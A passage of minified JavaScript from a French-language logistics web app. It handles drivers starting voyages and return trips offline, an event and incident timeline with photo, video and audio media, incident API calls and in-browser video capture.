reviendra.&quot;)==&quot;string&quot;){const{getCachedVoyageData:ce,cacheVoyageData:Le}=await On(async()=&gt;{const{getCachedVoyageData:ie,cacheVoyageData:ae}=await Promise.resolve().then(()=&gt;FA);return{getCachedVoyageData:ie,cacheVoyageData:ae}},void 0),rt=ce(u.id);if(rt){const ie={...rt.voyage,status:&quot;in_progress&quot;,startedAt:new Date().toISOString()},ae=rt.trips.map(Ee=&gt;Ee.direction===&quot;outbound&quot;&amp;&amp;(Ee.status===&quot;scheduled&quot;||Ee.status===&quot;pending&quot;)?{...Ee,status:&quot;in_progress&quot;,startedAt:new Date().toISOString()}:Ee);Le(u.id,{voyage:ie,trips:ae,steps:rt.steps}),jt.setQueryData([&quot;/api/driver/current-voyage&quot;],Ee=&gt;Ee&amp;&amp;{...Ee,voyage:ie,trips:ae.map(re=&gt;({...re})),_updatedAt:Date.now()}),C(Ee=&gt;Ee+1),jt.invalidateQueries({queryKey:[&quot;/api/driver/current-voyage&quot;]}),jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,u.id,&quot;etapes&quot;]}),setTimeout(()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/driver/current-voyage&quot;]}),C(Ee=&gt;Ee+1)},200)}j({title:&quot;Voyage enregistré hors ligne&quot;,description:&quot;Le démarrage du voyage sera synchronisé automatiquement quand la connexion reviendra.&quot;})}}catch{j({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Impossible d&#039;enregistrer le démarrage du voyage hors ligne.&quot;})}finally{R(!1)}}},canStartVoyage:ve,isStartingVoyage:Ne.isPending||Q,onStartReturn:async()=&gt;{if(u?.id){if(!we){j({variant:&quot;destructive&quot;,title:&quot;Pesée requise&quot;,description:&quot;Vous devez enregistrer une pesée de chargement avant de démarrer le trajet RETOUR.&quot;});return}if(E)Ie.mutate();else{M(!0);try{if(typeof await S({type:&quot;startReturn&quot;,voyageId:u.id},()=&gt;mN(u.id),&quot;Le démarrage du trajet RETOUR sera synchronisé automatiquement quand la connexion reviendra.&quot;)==&quot;string&quot;){const{getCachedVoyageData:ce,cacheVoyageData:Le}=await On(async()=&gt;{const{getCachedVoyageData:ie,cacheVoyageData:ae}=await Promise.resolve().then(()=&gt;FA);return{getCachedVoyageData:ie,cacheVoyageData:ae}},void 0),rt=ce(u.id);if(rt){const ie=rt.trips?.find(Ee=&gt;Ee.direction===&quot;inbound&quot;);let ae;if(ie)ae=rt.trips.map(Ee=&gt;Ee.direction===&quot;inbound&quot;?{...Ee,status:&quot;in_progress&quot;,startedAt:new Date().toISOString()}:Ee);else{const Ee={id:0,direction:&quot;inbound&quot;,status:&quot;in_progress&quot;,startedAt:new Date().toISOString(),orderIndex:(rt.trips?.length||0)+1};ae=[...rt.trips||[],Ee]}Le(u.id,{voyage:rt.voyage,trips:ae,steps:rt.steps}),jt.setQueryData([&quot;/api/driver/current-voyage&quot;],Ee=&gt;Ee&amp;&amp;{...Ee,voyage:Ee.voyage?{...Ee.voyage}:null,trips:ae.map(re=&gt;({...re})),_updatedAt:Date.now()}),C(Ee=&gt;Ee+1),jt.invalidateQueries({queryKey:[&quot;/api/driver/current-voyage&quot;]}),jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,u.id,&quot;etapes&quot;]}),setTimeout(()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/driver/current-voyage&quot;]}),C(Ee=&gt;Ee+1)},200)}j({title:&quot;Trajet RETOUR enregistré hors ligne&quot;,description:&quot;Le démarrage du trajet RETOUR sera synchronisé automatiquement quand la connexion reviendra.&quot;})}}catch{j({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Impossible d&#039;enregistrer le démarrage du trajet RETOUR hors ligne.&quot;})}finally{M(!1)}}}},canStartReturn:sr,isStartingReturn:Ie.isPending||T})]})}):null,!t&amp;&amp;gt.length&gt;0&amp;&amp;xe&amp;&amp;!h?.find(He=&gt;He.direction===&quot;inbound&quot;&amp;&amp;He.status===&quot;in_progress&quot;)&amp;&amp;!be&amp;&amp;!Pe&amp;&amp;a.jsx(it,{children:a.jsx(Et,{className:&quot;p-4&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[a.jsx(ge,{onClick:()=&gt;{u?.id&amp;&amp;Ie.mutate()},disabled:!we||Ie.isPending,className:&quot;w-full h-14 text-base font-semibold bg-green-600 hover:bg-green-700 text-white disabled:opacity-50 disabled:cursor-not-allowed&quot;,size:&quot;lg&quot;,children:Ie.isPending?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-5 w-5 mr-2 animate-spin&quot;}),&quot;Démarrage en cours...&quot;]}):a.jsxs(a.Fragment,{children:[a.jsx(ov,{className:&quot;h-5 w-5 mr-2&quot;}),&quot;Commencer le voyage Retour&quot;]})}),!we&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;bg-orange-50 dark:bg-orange-950 border border-orange-200 dark:border-orange-800 rounded-lg p-4 space-y-2&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-start gap-3&quot;,children:[a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,onClick:()=&gt;{const He=&quot;Vous devez enregistrer au moins une pesée, bon de chargement, via la carte pesée avant de pouvoir commencer le voyage retour.&quot;,ce=new SpeechSynthesisUtterance(He);ce.lang=&quot;fr-FR&quot;,ce.rate=.9,window.speechSynthesis.speak(ce)},className:&quot;h-10 w-10 text-orange-600 dark:text-orange-400 hover:bg-orange-100 dark:hover:bg-orange-900 flex-shrink-0&quot;,title:&quot;Écouter le message&quot;,children:a.jsx(z6,{className:&quot;h-5 w-5&quot;})}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium text-orange-900 dark:text-orange-100&quot;,children:&quot;Pesée requise&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-orange-700 dark:text-orange-300 mt-1&quot;,children:&quot;Vous devez enregistrer au moins une pesée (bon de chargement) via la carte PESÉE avant de pouvoir commencer le voyage retour.&quot;}),a.jsxs(ge,{variant:&quot;outline&quot;,size:&quot;sm&quot;,onClick:()=&gt;L(!0),className:&quot;mt-3 border-orange-300 dark:border-orange-700 text-orange-700 dark:text-orange-300 hover:bg-orange-100 dark:hover:bg-orange-900&quot;,children:[a.jsx(HA,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Enregistrer une pesée&quot;]})]})]})})]})})}),u?.id&amp;&amp;a.jsx(Kfe,{open:P,onOpenChange:L,voyageId:u.id,currentTrajet:Re||Pe?Re||Pe?{id:(Re||Pe).id,direction:&quot;inbound&quot;}:null:p?{id:p.id,direction:p.direction}:null,onImageClick:He=&gt;{L(!1),de(&quot;weighing&quot;),V(He),ee(!0)}}),u?.id&amp;&amp;a.jsx(Zfe,{open:X,onOpenChange:W,voyageId:u.id,onImageClick:He=&gt;{W(!1),de(&quot;fuel&quot;),V(He),ee(!0)}}),u?.id&amp;&amp;a.jsx(Jfe,{open:G,onOpenChange:J,voyageId:u.id,onImageClick:He=&gt;{J(!1),de(&quot;expense&quot;),V(He),ee(!0)}}),a.jsx(En,{open:q,onOpenChange:He=&gt;{ee(He),He||setTimeout(()=&gt;{ue===&quot;weighing&quot;?L(!0):ue===&quot;fuel&quot;?W(!0):ue===&quot;expense&quot;&amp;&amp;J(!0),de(null)},100)},children:a.jsxs(yn,{className:&quot;max-w-4xl max-h-[90vh] p-6 overflow-auto&quot;,&quot;aria-describedby&quot;:&quot;image-dialog-description&quot;,children:[a.jsxs(Cn,{className:&quot;sr-only&quot;,children:[a.jsx(In,{children:&quot;Justificatif&quot;}),a.jsx(Mn,{id:&quot;image-dialog-description&quot;,children:&quot;Visualisation du justificatif&quot;})]}),ne&amp;&amp;(()=&gt;{const He=Sr(ne);return a.jsxs(&quot;div&quot;,{className:&quot;relative&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;flex items-center justify-center w-full min-h-[300px] bg-gray-50 dark:bg-gray-900 rounded-lg p-4&quot;,children:a.jsx(&quot;img&quot;,{src:He||ne,alt:&quot;Justificatif&quot;,className:&quot;max-w-full max-h-[calc(90vh-12rem)] w-auto h-auto object-contain rounded-lg shadow-lg&quot;,onError:ce=&gt;{He&amp;&amp;He!==ne&amp;&amp;(ce.target.src=He)}})}),a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,className:&quot;absolute top-2 right-2 bg-black/80 hover:bg-black text-white border-2 border-white/60 hover:border-white rounded-full w-10 h-10 flex items-center justify-center shadow-xl z-50&quot;,onClick:ce=&gt;{ce.stopPropagation(),ee(!1)},&quot;aria-label&quot;:&quot;Fermer l&#039;image&quot;,children:a.jsx(Nn,{className:&quot;h-5 w-5&quot;})})]})})()]})})]})}function LS(e,t){const[r,n]=I.useState(()=&gt;{try{return navigator.onLine}catch{return!0}});return I.useEffect(()=&gt;{const i=()=&gt;n(!0),s=()=&gt;n(!1);return window.addEventListener(&quot;online&quot;,i),window.addEventListener(&quot;offline&quot;,s),()=&gt;{window.removeEventListener(&quot;online&quot;,i),window.removeEventListener(&quot;offline&quot;,s)}},[]),cr({queryKey:[&quot;/api/voyages&quot;,e,&quot;events&quot;,t],queryFn:async()=&gt;{if(!e)return[];if(!r){const s=jt.getQueryData([&quot;/api/voyages&quot;,e,&quot;events&quot;,t]);if(s)return console.log(&quot;[Events] Offline: using React Query cached events&quot;),s;try{const o=XM(e);if(o&amp;&amp;o.length&gt;0)return console.log(&quot;[Events] Offline: using localStorage cached events&quot;),jt.setQueryData([&quot;/api/voyages&quot;,e,&quot;events&quot;,t],o),o}catch(o){console.error(&quot;[Events] Erreur lors de la récupération du cache localStorage:&quot;,o)}return console.warn(&quot;[Events] Offline: no cached events available&quot;),[]}const i=await D4(e,t);if(i&amp;&amp;i.length&gt;0)try{AS(e,i)}catch(s){console.error(&quot;[Events] Erreur lors de la sauvegarde du cache:&quot;,s)}return i},enabled:!!e,staleTime:r?0:1/0,gcTime:r?300*1e3:1/0,refetchOnWindowFocus:r,refetchOnReconnect:!0,retry:!1})}function D$(){return _r({mutationFn:({voyageId:e,eventId:t})=&gt;zM(e,t),onSuccess:(e,t)=&gt;{jt.setQueryData([&quot;/api/voyages&quot;,t.voyageId,&quot;events&quot;],r=&gt;{if(!r)return r;const n=r.map(i=&gt;i.id===t.eventId?e:i);try{AS(t.voyageId,n)}catch(i){console.error(&quot;[Events] Erreur lors de la mise à jour du cache:&quot;,i)}return n}),jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;,t.voyageId,&quot;events&quot;]})}})}function ope(e,t,r){const n=I.useRef(new Set);return I.useEffect(()=&gt;()=&gt;{n.current.forEach(i=&gt;{URL.revokeObjectURL(i)}),n.current.clear()},[]),I.useMemo(()=&gt;{if(!e)return{events:[],pendingCount:0};const i=Hl().filter(l=&gt;l.voyageId===e&amp;&amp;(l.status===&quot;pending&quot;||l.status===&quot;uploading&quot;)),s=i.map(l=&gt;{let c=null;return l.type===&quot;media&quot;&amp;&amp;l.file&amp;&amp;(c=URL.createObjectURL(l.file),n.current.add(c)),{id:l.id,voyageId:l.voyageId,type:l.type,mediaKind:l.mediaKind||null,description:l.description||null,occurredAt:l.createdAt,createdAt:l.createdAt,incidentId:l.incidentId||null,etape:l.etapeId?{id:l.etapeId,label:`Étape ${l.etapeId}`}:null,media:l.type===&quot;media&quot;&amp;&amp;c?{url:c,mime:l.file?.type||&quot;image/jpeg&quot;,durationSec:null}:null,isOffline:!0,status:l.status}}),o=[...t||[],...s];return o.sort((l,c)=&gt;{const d=new Date(l.occurredAt||l.createdAt).getTime(),u=new Date(c.occurredAt||c.createdAt).getTime();return d-u}),{events:o,pendingCount:i.filter(l=&gt;l.status===&quot;pending&quot;).length}},[e,t,r])}function lpe({audioUrl:e,duration:t}){const[r,n]=I.useState(!1),[i,s]=I.useState(0),[o,l]=I.useState(t||0),[c,d]=I.useState([]),u=I.useRef(null);I.useEffect(()=&gt;{const w=Array.from({length:50},()=&gt;Math.random()*.4+.1);d(w)},[]),I.useEffect(()=&gt;{const v=u.current;if(!v)return;const w=()=&gt;{l(v.duration)};return v.addEventListener(&quot;loadedmetadata&quot;,w),()=&gt;v.removeEventListener(&quot;loadedmetadata&quot;,w)},[]),I.useEffect(()=&gt;{const v=u.current;if(!v)return;const w=()=&gt;{s(v.currentTime)},j=()=&gt;w(),E=()=&gt;{n(!1),s(0)};return v.addEventListener(&quot;timeupdate&quot;,j),v.addEventListener(&quot;ended&quot;,E),()=&gt;{v.removeEventListener(&quot;timeupdate&quot;,j),v.removeEventListener(&quot;ended&quot;,E)}},[]);const h=()=&gt;{const v=u.current;v&amp;&amp;(r?v.pause():v.play(),n(!r))},p=v=&gt;{const w=Math.floor(v/60),j=Math.floor(v%60);return`${w}:${j.toString().padStart(2,&quot;0&quot;)}`},A=o&gt;0?i/o*100:0,y=Math.floor(A/100*c.length);return a.jsx(&quot;div&quot;,{className:&quot;p-3&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;bg-white border border-gray-300 rounded-2xl p-3 flex items-center gap-3 shadow-sm&quot;,children:[a.jsx(&quot;button&quot;,{onClick:h,className:&quot;flex-shrink-0 w-9 h-9 rounded-full bg-gray-600 hover:bg-gray-700 flex items-center justify-center transition-colors active:scale-95&quot;,&quot;aria-label&quot;:r?&quot;Pause&quot;:&quot;Play&quot;,children:r?a.jsx(Cse,{className:&quot;h-4 w-4 text-white&quot;,fill:&quot;currentColor&quot;}):a.jsx(Ise,{className:&quot;h-4 w-4 text-white ml-0.5&quot;,fill:&quot;currentColor&quot;})}),a.jsx(&quot;div&quot;,{className:&quot;flex-1 flex items-end gap-[2px] h-10 relative px-1&quot;,children:c.map((v,w)=&gt;{const j=w&lt;y,E=Math.max(v*100,20);return a.jsx(&quot;div&quot;,{className:`flex-1 rounded-sm transition-colors ${j?&quot;bg-green-500&quot;:&quot;bg-gray-400&quot;}`,style:{height:`${E}%`,minHeight:&quot;8px&quot;}},w)})}),a.jsxs(&quot;div&quot;,{className:&quot;flex-shrink-0 flex flex-col items-end gap-0.5 min-w-[50px]&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;text-xs font-medium text-gray-700 leading-tight&quot;,children:p(i)}),a.jsx(&quot;span&quot;,{className:&quot;text-xs text-gray-500 leading-tight&quot;,children:p(o)})]}),a.jsx(&quot;audio&quot;,{ref:u,src:e,preload:&quot;metadata&quot;,className:&quot;hidden&quot;})]})})}function cpe(e){const t=e.trim().split(/\s+/);return t.length&gt;=2?(t[0][0]+t[t.length-1][0]).toUpperCase():e.substring(0,2).toUpperCase()}function upe({event:e,isOffline:t=!1,isPending:r=!1,onImageClick:n,onReplyToIncident:i,readOnly:s=!1}){const[o,l]=I.useState(!1),[c,d]=I.useState(null),u=e.type===&quot;media&quot;,h=e.type===&quot;note&quot;,p=e.type===&quot;incident&quot;,A=()=&gt;{if(u&amp;&amp;e.mediaKind)switch(e.mediaKind){case&quot;photo&quot;:return Nm;case&quot;video&quot;:return Xu;case&quot;audio&quot;:return F0}return p?Kn:po},y=()=&gt;{if(u&amp;&amp;e.mediaKind)switch(e.mediaKind){case&quot;photo&quot;:return&quot;Photo&quot;;case&quot;video&quot;:return&quot;Vidéo&quot;;case&quot;audio&quot;:return&quot;Audio&quot;}return p?&quot;Problème&quot;:&quot;Note&quot;},v=()=&gt;{if(u&amp;&amp;e.mediaKind)switch(e.mediaKind){case&quot;photo&quot;:return&quot;bg-green-500/10 text-green-600 border-green-500/20&quot;;case&quot;video&quot;:return&quot;bg-purple-500/10 text-purple-600 border-purple-500/20&quot;;case&quot;audio&quot;:return&quot;bg-blue-500/10 text-blue-600 border-blue-500/20&quot;}return p?&quot;bg-red-500/10 text-red-600 border-red-500/20&quot;:&quot;bg-gray-500/10 text-gray-600 border-gray-500/20&quot;},w=T=&gt;{const M=Sr(T)||T;d(M),l(!0),n?.(M)},j=()=&gt;{try{const T=new Date(e.occurredAt||e.createdAt);return Wr(T,&quot;HH:mm&quot;,{locale:Hr})}catch{return&quot;&quot;}};A(),y(),v();const E=&quot;senderRole&quot;in e?e.senderRole:null,S=E===&quot;chauffeur&quot;,_=E===&quot;backoffice&quot;,C=&quot;creator&quot;in e&amp;&amp;e.creator?.name||&quot;Utilisateur&quot;,Q=cpe(C),R=&quot;creator&quot;in e&amp;&amp;e.creator?.avatar||null;return a.jsxs(a.Fragment,{children:[a.jsx(it,{className:`overflow-hidden bg-white border shadow-sm ${S?&quot;ml-8&quot;:_?&quot;mr-8&quot;:&quot;&quot;}`,children:a.jsxs(Et,{className:&quot;p-0&quot;,children:[u&amp;&amp;e.media&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;w-full&quot;,children:[e.mediaKind===&quot;photo&quot;&amp;&amp;e.media.url&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;relative w-full bg-muted cursor-pointer&quot;,onClick:()=&gt;w(e.media.url),children:[a.jsx(&quot;img&quot;,{src:Sr(e.media.url)||e.media.url,alt:e.description||&quot;Photo&quot;,className:&quot;w-full h-auto object-cover&quot;,loading:&quot;lazy&quot;}),a.jsx(&quot;div&quot;,{className:&quot;absolute inset-0 bg-black/0 hover:bg-black/10 transition-colors flex items-center justify-center&quot;,children:a.jsx(Nm,{className:&quot;h-8 w-8 text-white opacity-0 hover:opacity-100 transition-opacity&quot;})})]}),e.mediaKind===&quot;video&quot;&amp;&amp;e.media.url&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;w-full bg-black&quot;,children:a.jsx(&quot;video&quot;,{src:Sr(e.media.url)||e.media.url,controls:!0,className:&quot;w-full h-auto max-h-[400px]&quot;,preload:&quot;metadata&quot;,children:&quot;Votre navigateur ne supporte pas la lecture de vidéos.&quot;})}),e.mediaKind===&quot;audio&quot;&amp;&amp;e.media.url&amp;&amp;a.jsx(lpe,{audioUrl:Sr(e.media.url)||e.media.url,duration:e.media.durationSec||null})]}),a.jsxs(&quot;div&quot;,{className:`p-4 space-y-3 ${S?&quot;bg-green-100/60 dark:bg-green-950/40&quot;:_?&quot;bg-gray-50/50 dark:bg-gray-950/20&quot;:&quot;&quot;}`,children:[a.jsxs(&quot;div&quot;,{className:`flex items-start justify-between gap-2 ${S?&quot;flex-row-reverse&quot;:&quot;&quot;}`,children:[a.jsxs(&quot;div&quot;,{className:`flex items-center gap-2 flex-wrap ${S?&quot;flex-row-reverse&quot;:&quot;&quot;}`,children:[&quot;incidentId&quot;in e&amp;&amp;e.incidentId||&quot;incident&quot;in e&amp;&amp;e.incident?a.jsxs(a.Fragment,{children:[a.jsxs(yt,{variant:&quot;outline&quot;,className:&quot;text-xs bg-red-500/10 text-red-600 border-red-500/20&quot;,children:[a.jsx(J3,{className:&quot;h-3 w-3 mr-1&quot;}),&quot;Problème #&quot;,&quot;incident&quot;in e&amp;&amp;e.incident?.id||&quot;incidentId&quot;in e&amp;&amp;e.incidentId]}),&quot;incident&quot;in e&amp;&amp;e.incident?.status&amp;&amp;a.jsx(yt,{variant:&quot;outline&quot;,className:`text-xs ${e.incident.status===&quot;ouvert&quot;?&quot;bg-yellow-500/10 text-yellow-600 border-yellow-500/20&quot;:e.incident.status===&quot;en_cours&quot;?&quot;bg-blue-500/10 text-blue-600 border-blue-500/20&quot;:e.incident.status===&quot;resolu&quot;?&quot;bg-green-500/10 text-green-600 border-green-500/20&quot;:(e.incident.status===&quot;ferme&quot;,&quot;bg-gray-500/10 text-gray-600 border-gray-500/20&quot;)}`,children:e.incident.status===&quot;ouvert&quot;?&quot;Ouvert&quot;:e.incident.status===&quot;en_cours&quot;?&quot;En cours&quot;:e.incident.status===&quot;resolu&quot;?&quot;Résolu&quot;:e.incident.status===&quot;ferme&quot;?&quot;Fermé&quot;:e.incident.status})]}):null,e.etape&amp;&amp;a.jsxs(yt,{variant:&quot;secondary&quot;,className:&quot;text-xs&quot;,children:[a.jsx(ei,{className:&quot;h-3 w-3 mr-1&quot;}),e.etape.label]}),t&amp;&amp;a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;text-xs bg-orange-500/10 text-orange-600 border-orange-500/20&quot;,children:r?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-3 w-3 mr-1 animate-spin&quot;}),&quot;En attente&quot;]}):a.jsxs(a.Fragment,{children:[a.jsx(qd,{className:&quot;h-3 w-3 mr-1&quot;}),&quot;Hors ligne&quot;]})}),!s&amp;&amp;&quot;incidentId&quot;in e&amp;&amp;e.incidentId&amp;&amp;i&amp;&amp;a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,onClick:()=&gt;i(e.incidentId),className:&quot;h-8 w-8 rounded-full bg-green-500 hover:bg-green-600 text-white p-0&quot;,&quot;aria-label&quot;:&quot;Répondre&quot;,children:a.jsx(g4,{className:&quot;h-5 w-5&quot;,fill:&quot;currentColor&quot;})})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-1 text-xs text-muted-foreground&quot;,children:[a.jsx(Bl,{className:&quot;h-3 w-3&quot;}),a.jsx(&quot;span&quot;,{children:j()})]})]}),a.jsx(&quot;div&quot;,{className:`flex items-center gap-2 ${S?&quot;justify-end pl-12&quot;:&quot;justify-start pr-12&quot;}`,children:a.jsxs(a.Fragment,{children:[a.jsxs(Dm,{className:&quot;h-6 w-6 flex-shrink-0 border border-border&quot;,children:[R?a.jsx(Tm,{src:Sr(R),alt:C,onError:T=&gt;{const M=T.target;M.style.display=&quot;none&quot;}}):null,a.jsx(Rm,{className:`text-[10px] ${S?&quot;bg-green-200 dark:bg-green-800 text-green-800 dark:text-green-200&quot;:_?&quot;bg-gray-100 dark:bg-gray-800 text-gray-700 dark:text-gray-300&quot;:&quot;bg-muted&quot;}`,children:Q})]}),a.jsx(&quot;span&quot;,{className:&quot;text-xs font-medium text-foreground&quot;,children:C}),E&amp;&amp;a.jsx(yt,{variant:S?&quot;default&quot;:&quot;secondary&quot;,className:&quot;text-[10px]&quot;,children:S?&quot;Chauffeur&quot;:&quot;Backoffice&quot;})]})}),e.description&amp;&amp;a.jsx(&quot;div&quot;,{className:`flex ${S?&quot;justify-end pl-12&quot;:&quot;justify-start pr-12&quot;}`,children:a.jsx(&quot;div&quot;,{className:`rounded-2xl px-3 py-2 max-w-[65%] ${S?&quot;bg-green-200 dark:bg-green-800/50 text-green-900 dark:text-green-100 rounded-tr-sm&quot;:_?&quot;bg-white dark:bg-gray-800 border border-gray-200 dark:border-gray-700 text-gray-900 dark:text-gray-100 rounded-tl-sm&quot;:&quot;bg-muted&quot;}`,children:a.jsx(&quot;p&quot;,{className:&quot;text-sm whitespace-pre-wrap leading-relaxed break-words&quot;,children:e.description})})}),!u&amp;&amp;!e.description&amp;&amp;a.jsx(&quot;div&quot;,{className:`flex ${S?&quot;justify-end pl-12&quot;:&quot;justify-start pr-12&quot;}`,children:a.jsx(&quot;div&quot;,{className:`rounded-2xl px-3 py-2 max-w-[65%] ${S?&quot;bg-green-200 dark:bg-green-800/50 text-green-900 dark:text-green-100 rounded-tr-sm&quot;:_?&quot;bg-white dark:bg-gray-800 border border-gray-200 dark:border-gray-700 text-gray-900 dark:text-gray-100 rounded-tl-sm&quot;:&quot;bg-muted&quot;}`,children:a.jsxs(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground italic&quot;,children:[h&amp;&amp;&quot;Note sans description&quot;,p&amp;&amp;&quot;Problème sans description&quot;]})})})]})]})}),a.jsx(En,{open:o,onOpenChange:l,children:a.jsx(yn,{className:&quot;max-w-[95vw] max-h-[95vh] p-0 bg-black/95&quot;,children:c&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;relative w-full h-full flex items-center justify-center&quot;,children:[a.jsx(&quot;img&quot;,{src:c,alt:&quot;Image agrandie&quot;,className:&quot;max-w-full max-h-[95vh] object-contain&quot;}),a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,className:&quot;absolute top-2 right-2 text-white hover:bg-white/20&quot;,onClick:()=&gt;l(!1),children:a.jsx(Nn,{className:&quot;h-5 w-5&quot;})})]})})})]})}const K0=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(&quot;textarea&quot;,{className:nr(&quot;flex min-h-[80px] w-full rounded-md border border-input bg-background px-3 py-2 text-base ring-offset-background placeholder:text-muted-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50 md:text-sm&quot;,e),ref:r,...t}));K0.displayName=&quot;Textarea&quot;;async function T$(e,t){const n=new URLSearchParams().toString(),i=`/api/voyages/${e}/incidents${n?`?${n}`:&quot;&quot;}`;return await $t(i)}async function R$(e,t){return await $t(`/api/voyages/${e}/incidents/${t}`)}async function P$(e,t){return await $t(`/api/voyages/${e}/incidents`,{method:&quot;POST&quot;,body:t})}async function Q$(e,t,r){return await $t(`/api/voyages/${e}/incidents/${t}`,{method:&quot;PATCH&quot;,body:r})}async function MS(e){const r=new URLSearchParams().toString(),n=`/api/incidents${r?`?${r}`:&quot;&quot;}`;return await $t(n)}async function xg(e,t,r){if(r.type===&quot;media&quot;&amp;&amp;r.file){const n=new FormData;return n.append(&quot;type&quot;,&quot;media&quot;),n.append(&quot;media_kind&quot;,r.mediaKind),r.description&amp;&amp;n.append(&quot;description&quot;,r.description),r.occurredAt&amp;&amp;n.append(&quot;occurred_at&quot;,r.occurredAt),r.senderRole&amp;&amp;n.append(&quot;sender_role&quot;,r.senderRole),n.append(&quot;file&quot;,r.file),await $t(`/api/voyages/${e}/incidents/${t}/messages`,{method:&quot;POST&quot;,body:n})}else return await $t(`/api/voyages/${e}/incidents/${t}/messages`,{method:&quot;POST&quot;,body:{type:&quot;message&quot;,description:r.description,occurred_at:r.occurredAt,sender_role:r.senderRole}})}const F$=Object.freeze(Object.defineProperty({__proto__:null,createIncidentMessage:xg,createVoyageIncident:P$,getAllVoyageIncidents:MS,getVoyageIncident:R$,getVoyageIncidents:T$,updateVoyageIncident:Q$},Symbol.toStringTag,{value:&quot;Module&quot;})),vN={&quot;144p&quot;:{widthIdeal:256,heightIdeal:144},&quot;240p&quot;:{widthIdeal:426,heightIdeal:240},&quot;360p&quot;:{widthIdeal:640,heightIdeal:360},&quot;480p&quot;:{widthIdeal:854,heightIdeal:480},&quot;720p&quot;:{widthIdeal:1280,heightIdeal:720},&quot;1080p&quot;:{widthIdeal:1920,heightIdeal:1080}};function O$(e){const{widthIdeal:t,heightIdeal:r}=vN[e];return{widthIdeal:t,heightIdeal:r,maxHeight:r}}function dpe(e){for(const r of e)if(MediaRecorder.isTypeSupported(r))return r;const t=[&quot;video/webm;codecs=vp9&quot;,&quot;video/webm;codecs=vp8&quot;,&quot;video/webm&quot;];for(const r of t)if(MediaRecorder.isTypeSupported(r))return r;return null}async function US(e,t){if(!navigator.mediaDevices||!navigator.mediaDevices.getUserMedia)throw new Error(&quot;getUserMedia non disponible&quot;);if(typeof MediaRecorder&gt;&quot;u&quot;)throw new Error(&quot;MediaRecorder non disponible&quot;);const{widthIdeal:r,heightIdeal:n}=O$(e.resolutionPreset),i={width:{ideal:r},height:{ideal:n},facingMode:&quot;environment&quot;},s=await navigator.mediaDevices.getUserMedia({video:i,audio:!0}),o=dpe(e.preferredMimeTypes);if(!o)throw s.getTracks().forEach(A=&gt;A.stop()),new Error(&quot;Aucun format vidéo supporté&quot;);const l=new MediaRecorder(s,{mimeType:o});let c=0,d=null,u=null;const h=new Promise((A,y)=&gt;{const v=[];l.ondataavailable=j=&gt;{j.data.size&gt;0&amp;&amp;v.push(j.data)},l.onstop=async()=&gt;{d!==null&amp;&amp;(clearInterval(d),d=null);const j=new Blob(v,{type:o}),E=document.createElement(&quot;video&quot;),S=URL.createObjectURL(j);E.onloadedmetadata=()=&gt;{URL.revokeObjectURL(S);const _=E.duration,C=E.videoWidth,Q=E.videoHeight,R=j.size,T=new File([j],`video_${Date.now()}.${o.split(&quot;/&quot;)[1]?.split(&quot;;&quot;)[0]||&quot;webm&quot;}`,{type:o,lastModified:Date.now()});A({blob:j,file:T,metadata:{duration:_,width:C,height:Q,size:R,mimeType:o,preset:e.resolutionPreset,updatedAt:e.updatedAt||new Date().toISOString()}})},E.onerror=()=&gt;{URL.revokeObjectURL(S),y(new Error(&quot;Impossible de lire les métadonnées de la vidéo capturée&quot;))},E.src=S},l.onerror=j=&gt;{d!==null&amp;&amp;clearInterval(d),s.getTracks().forEach(E=&gt;E.stop()),y(new Error(&quot;Erreur lors de l&#039;enregistrement vidéo&quot;))},l.start(),c=Date.now();const w=e.maxDurationSec*1e3;u=window.setTimeout(()=&gt;{l.state===&quot;recording&quot;&amp;&amp;l.stop()},w),t&amp;&amp;(d=window.setInterval(()=&gt;{const j=(Date.now()-c)/1e3;t(Math.min(j,e.maxDurationSec))},100))});return{stream:s,recorder:l,stop:()=&gt;{u!==null&amp;&amp;(clearTimeout(u),u=null),d!==null&amp;&amp;(clearInterval(d),d=null),l.state===&quot;recording&quot;&amp;&amp;l.stop()},promise:h}}const fpe=Object.freeze(Object.defineProperty({__proto__:null,captureVideo:US},Symbol.toStringTag,{value:&quot;Module&quot;}));async function hpe(e){return new Promise((t,r)=&gt;{const n=document.createElement(&quot;video&quot;),i=URL.createObjectURL(e);n.onloadedmetadata=()=&gt;{URL.revokeObjectURL(i),t({duration:n.duration,width:n.videoWidth,height:n.videoHeight,size:e.size})},n.onerror=()=&gt;{URL.revokeObjectURL(i),r(new Error(&quot;Impossible de lire les métadonnées de la vidéo&quot;))},n.src=i})}async function L$(e,t){const r=[];try{const n=e instanceof File?e:new File([e],&quot;video.webm&quot;,{type:e.type}),i=await 